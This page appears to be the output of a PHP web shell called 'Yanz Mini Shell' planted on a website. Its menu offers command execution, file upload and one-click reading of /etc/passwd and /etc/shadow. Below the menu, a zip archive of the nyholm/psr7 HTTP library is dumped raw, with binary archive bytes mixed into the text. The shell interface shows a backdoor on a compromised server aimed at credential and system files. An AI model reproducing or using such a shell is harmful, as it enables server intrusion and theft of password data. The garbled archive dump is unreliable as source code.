Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
admin
web
uyoxpress.com
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
PK ! ���� psr7/psalm.baseline.xmlnu �[��� <?xml version="1.0" encoding="UTF-8"?> <files psalm-version="4.30.0@d0bc6e25d89f649e4f36a534f330f8bb4643dd69"> <file src="src/Stream.php"> <NoValue occurrences="1"> <code>return \trigger_error((string) $e, \E_USER_ERROR);</code> </NoValue> </file> </files> PK ! �q�� � psr7/.php-cs-fixer.dist.phpnu �[��� <?php declare(strict_types=1); $finder = PhpCsFixer\Finder::create() ->in(__DIR__.'/src') ->in(__DIR__.'/tests'); $config = new PhpCsFixer\Config(); return $config->setRules([ '@Symfony' => true, '@Symfony:risky' => true, 'native_function_invocation' => ['include'=> ['@all']], 'native_constant_invocation' => true, 'ordered_imports' => true, 'declare_strict_types' => false, 'linebreak_after_opening_tag' => false, 'single_import_per_statement' => false, 'blank_line_after_opening_tag' => false, 'concat_space' => ['spacing'=>'one'], 'phpdoc_align' => ['align'=>'left'], ]) ->setRiskyAllowed(true) ->setFinder($finder); PK ! !b psr7/composer.jsonnu �[��� { "name": "nyholm/psr7", "description": "A fast PHP7 implementation of PSR-7", "license": "MIT", "keywords": ["psr-7", "psr-17"], "homepage": "https://tnyholm.se", "authors": [ { "name": "Tobias Nyholm", "email": "tobias.nyholm@gmail.com" }, { "name": "Martijn van der Ven", "email": "martijn@vanderven.se" } ], "require": { "php": ">=7.2", "psr/http-message": "^1.1 || ^2.0", "psr/http-factory": "^1.0" }, "require-dev": { "phpunit/phpunit": "^7.5 || ^8.5 || ^9.4", "php-http/message-factory": "^1.0", "php-http/psr7-integration-tests": "^1.0", "http-interop/http-factory-tests": "^0.9", "symfony/error-handler": "^4.4" }, "provide": { "php-http/message-factory-implementation": "1.0", "psr/http-message-implementation": "1.0", "psr/http-factory-implementation": "1.0" }, "autoload": { "psr-4": { "Nyholm\\Psr7\\": "src/" } }, "autoload-dev": { "psr-4": { "Tests\\Nyholm\\Psr7\\": "tests/" } }, "extra": { "branch-alias": { "dev-master": "1.8-dev" } } } PK ! �5��. . psr7/LICENSEnu �[��� MIT License Copyright (c) 2016 Tobias Nyholm Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK ! ���ZD D psr7/CHANGELOG.mdnu �[��� # Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 1.8.0 - Deprecate HttplugFactory, use Psr17Factory instead - Make depencendy on php-http/message-factory optional ## 1.7.0 - Bump to PHP 7.2 minimum - Allow psr/http-message v2 - Use copy-on-write for streams created from strings ## 1.6.1 - Security fix: CVE-2023-29197 ## 1.6.0 ### Changed - Seek to the begining of the string when using Stream::create() - Populate ServerRequest::getQueryParams() on instantiation - Encode [reserved characters](https://www.rfc-editor.org/rfc/rfc3986#appendix-A) in userinfo in Uri - Normalize leading slashes for Uri::getPath() - Make Stream's constructor public - Add some missing type checks on arguments ## 1.5.1 ### Fixed - Fixed deprecations on PHP 8.1 ## 1.5.0 ### Added - Add explicit `@return mixed` - Add explicit return types to HttplugFactory ### Fixed - Improve error handling with streams ## 1.4.1 ### Fixed - `Psr17Factory::createStreamFromFile`, `UploadedFile::moveTo`, and `UploadedFile::getStream` no longer throw `ValueError` in PHP 8. ## 1.4.0 ### Removed The `final` keyword was replaced by `@final` annotation. ## 1.3.2 ### Fixed - `Stream::read()` must not return boolean. - Improved exception message when using wrong HTTP status code. ## 1.3.1 ### Fixed - Allow installation on PHP8 ## 1.3.0 ### Added - Make Stream::__toString() compatible with throwing exceptions on PHP 7.4. ### Fixed - Support for UTF-8 hostnames - Support for numeric header names ## 1.2.1 ### Changed - Added `.github` and `phpstan.neon.dist` to `.gitattributes`. ## 1.2.0 ### Changed - Change minimal port number to 0 (unix socket) - Updated `Psr17Factory::createResponse` to respect the specification. If second argument is not used, a standard reason phrase. If an empty string is passed, then the reason phrase will be empty. ### Fixed - Check for seekable on the stream resource. - Fixed the `Response::$reason` should never be null. ## 1.1.0 ### Added - Improved performance - More tests for `UploadedFile` and `HttplugFactory` ### Removed - Dead code ## 1.0.1 ### Fixed - Handle `fopen` failing in createStreamFromFile according to PSR-7. - Reduce execution path to speed up performance. - Fixed typos. - Code style. ## 1.0.0 ### Added - Support for final PSR-17 (HTTP factories). (`Psr17Factory`) - Support for numeric header values. - Support for empty header values. - All classes are final - `HttplugFactory` that implements factory interfaces from HTTPlug. ### Changed - `ServerRequest` does not extend `Request`. ### Removed - The HTTPlug discovery strategy was removed since it is included in php-http/discovery 1.4. - `UploadedFileFactory()` was removed in favor for `Psr17Factory`. - `ServerRequestFactory()` was removed in favor for `Psr17Factory`. - `StreamFactory`, `UriFactory`, abd `MessageFactory`. Use `HttplugFactory` instead. - `ServerRequestFactory::createServerRequestFromArray`, `ServerRequestFactory::createServerRequestFromArrays` and `ServerRequestFactory::createServerRequestFromGlobals`. Please use the new `nyholm/psr7-server` instead. ## 0.3.0 ### Added - Return types. - Many `InvalidArgumentException`s are thrown when you use invalid arguments. - Integration tests for `UploadedFile` and `ServerRequest`. ### Changed - We dropped PHP7.0 support. - PSR-17 factories have been marked as internal. They do not fall under our BC promise until PSR-17 is accepted. - `UploadedFileFactory::createUploadedFile` does not accept a string file path. ## 0.2.3 No changelog before this release PK ! O���c c psr7/phpstan-baseline.neonnu �[��� parameters: ignoreErrors: - message: "#^Result of && is always false\\.$#" count: 1 path: src/Response.php - message: "#^Strict comparison using \\=\\=\\= between null and string will always evaluate to false\\.$#" count: 1 path: src/Response.php - message: "#^Result of && is always false\\.$#" count: 1 path: src/ServerRequest.php - message: "#^Strict comparison using \\!\\=\\= between null and null will always evaluate to false\\.$#" count: 1 path: src/ServerRequest.php - message: "#^Result of && is always false\\.$#" count: 1 path: src/Stream.php - message: "#^Result of && is always false\\.$#" count: 2 path: src/UploadedFile.php - message: "#^Strict comparison using \\=\\=\\= between false and true will always evaluate to false\\.$#" count: 2 path: src/UploadedFile.php PK ! B+��� � psr7/README.mdnu �[��� # PSR-7 implementation [](https://github.com/Nyholm/psr7/releases) [](https://packagist.org/packages/nyholm/psr7) [](https://packagist.org/packages/nyholm/psr7) [](LICENSE) [](https://github.com/Nyholm/psr7/actions/workflows/static.yml?query=branch%3Amaster) [](https://github.com/Nyholm/psr7/actions/workflows/tests.yml?query=branch%3Amaster) A super lightweight PSR-7 implementation. Very strict and very fast. | Description | Guzzle | Laminas | Slim | Nyholm | | ---- | ------ | ---- | ---- | ------ | | Lines of code | 3.300 | 3.100 | 1.900 | 1.000 | | PSR-7* | 66% | 100% | 75% | 100% | | PSR-17 | No | Yes | Yes | Yes | | HTTPlug | No | No | No | Yes | | Performance (runs per second)** | 14.553 | 14.703 | 13.416 | 17.734 | \* Percent of completed tests in https://github.com/php-http/psr7-integration-tests \** Benchmark with 50.000 runs. See https://github.com/devanych/psr-http-benchmark (higher is better) ## Installation ```bash composer require nyholm/psr7 ``` If you are using Symfony Flex then you get all message factories registered as services. ## Usage The PSR-7 objects do not contain any other public methods than those defined in the [PSR-7 specification](https://www.php-fig.org/psr/psr-7/). ### Create objects Use the PSR-17 factory to create requests, streams, URIs etc. ```php $psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); $request = $psr17Factory->createRequest('GET', 'http://tnyholm.se'); $stream = $psr17Factory->createStream('foobar'); ``` ### Sending a request With [HTTPlug](http://httplug.io/) or any other PSR-18 (HTTP client) you may send requests like: ```bash composer require kriswallsmith/buzz ``` ```php $psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); $psr18Client = new \Buzz\Client\Curl($psr17Factory); $request = $psr17Factory->createRequest('GET', 'http://tnyholm.se'); $response = $psr18Client->sendRequest($request); ``` ### Create server requests The [`nyholm/psr7-server`](https://github.com/Nyholm/psr7-server) package can be used to create server requests from PHP superglobals. ```bash composer require nyholm/psr7-server ``` ```php $psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); $creator = new \Nyholm\Psr7Server\ServerRequestCreator( $psr17Factory, // ServerRequestFactory $psr17Factory, // UriFactory $psr17Factory, // UploadedFileFactory $psr17Factory // StreamFactory ); $serverRequest = $creator->fromGlobals(); ``` ### Emitting a response ```bash composer require laminas/laminas-httphandlerrunner ``` ```php $psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); $responseBody = $psr17Factory->createStream('Hello world'); $response = $psr17Factory->createResponse(200)->withBody($responseBody); (new \Laminas\HttpHandlerRunner\Emitter\SapiEmitter())->emit($response); ``` ## Our goal This package is currently maintained by [Tobias Nyholm](http://nyholm.se) and [Martijn van der Ven](https://vanderven.se/martijn/). They have decided that the goal of this library should be to provide a super strict implementation of [PSR-7](https://www.php-fig.org/psr/psr-7/) that is blazing fast. The package will never include any extra features nor helper methods. All our classes and functions exist because they are required to fulfill the PSR-7 specification. PK ! �:� psr7/src/ServerRequest.phpnu �[��� <?php declare(strict_types=1); namespace Nyholm\Psr7; use Psr\Http\Message\{ServerRequestInterface, StreamInterface, UploadedFileInterface, UriInterface}; /** * @author Michael Dowling and contributors to guzzlehttp/psr7 * @author Tobias Nyholm <tobias.nyholm@gmail.com> * @author Martijn van der Ven <martijn@vanderven.se> * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class ServerRequest implements ServerRequestInterface { use MessageTrait; use RequestTrait; /** @var array */ private $attributes = []; /** @var array */ private $cookieParams = []; /** @var array|object|null */ private $parsedBody; /** @var array */ private $queryParams = []; /** @var array */ private $serverParams; /** @var UploadedFileInterface[] */ private $uploadedFiles = []; /** * @param string $method HTTP method * @param string|UriInterface $uri URI * @param array $headers Request headers * @param string|resource|StreamInterface|null $body Request body * @param string $version Protocol version * @param array $serverParams Typically the $_SERVER superglobal */ public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1', array $serverParams = []) { $this->serverParams = $serverParams; if (!($uri instanceof UriInterface)) { $uri = new Uri($uri); } $this->method = $method; $this->uri = $uri; $this->setHeaders($headers); $this->protocol = $version; \parse_str($uri->getQuery(), $this->queryParams); if (!$this->hasHeader('Host')) { $this->updateHostFromUri(); } // If we got no body, defer initialization of the stream until ServerRequest::getBody() if ('' !== $body && null !== $body) { $this->stream = Stream::create($body); } } public function getServerParams(): array { return $this->serverParams; } public function getUploadedFiles(): array { return $this->uploadedFiles; } /** * @return static */ public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface { $new = clone $this; $new->uploadedFiles = $uploadedFiles; return $new; } public function getCookieParams(): array { return $this->cookieParams; } /** * @return static */ public function withCookieParams(array $cookies): ServerRequestInterface { $new = clone $this; $new->cookieParams = $cookies; return $new; } public function getQueryParams(): array { return $this->queryParams; } /** * @return static */ public function withQueryParams(array $query): ServerRequestInterface { $new = clone $this; $new->queryParams = $query; return $new; } /** * @return array|object|null */ public function getParsedBody() { return $this->parsedBody; } /** * @return static */ public function withParsedBody($data): ServerRequestInterface { if (!\is_array($data) && !\is_object($data) && null !== $data) { throw new \InvalidArgumentException('First parameter to withParsedBody MUST be object, array or null'); } $new = clone $this; $new->parsedBody = $data; return $new; } public function getAttributes(): array { return $this->attributes; } /** * @return mixed */ public function getAttribute($attribute, $default = null) { if (!\is_string($attribute)) { throw new \InvalidArgumentException('Attribute name must be a string'); } if (false === \array_key_exists($attribute, $this->attributes)) { return $default; } return $this->attributes[$attribute]; } /** * @return static */ public function withAttribute($attribute, $value): ServerRequestInterface { if (!\is_string($attribute)) { throw new \InvalidArgumentException('Attribute name must be a string'); } $new = clone $this; $new->attributes[$attribute] = $value; return $new; } /** * @return static */ public function withoutAttribute($attribute): ServerRequestInterface { if (!\is_string($attribute)) { throw new \InvalidArgumentException('Attribute name must be a string'); } if (false === \array_key_exists($attribute, $this->attributes)) { return $this; } $new = clone $this; unset($new->attributes[$attribute]); return $new; } } PK ! &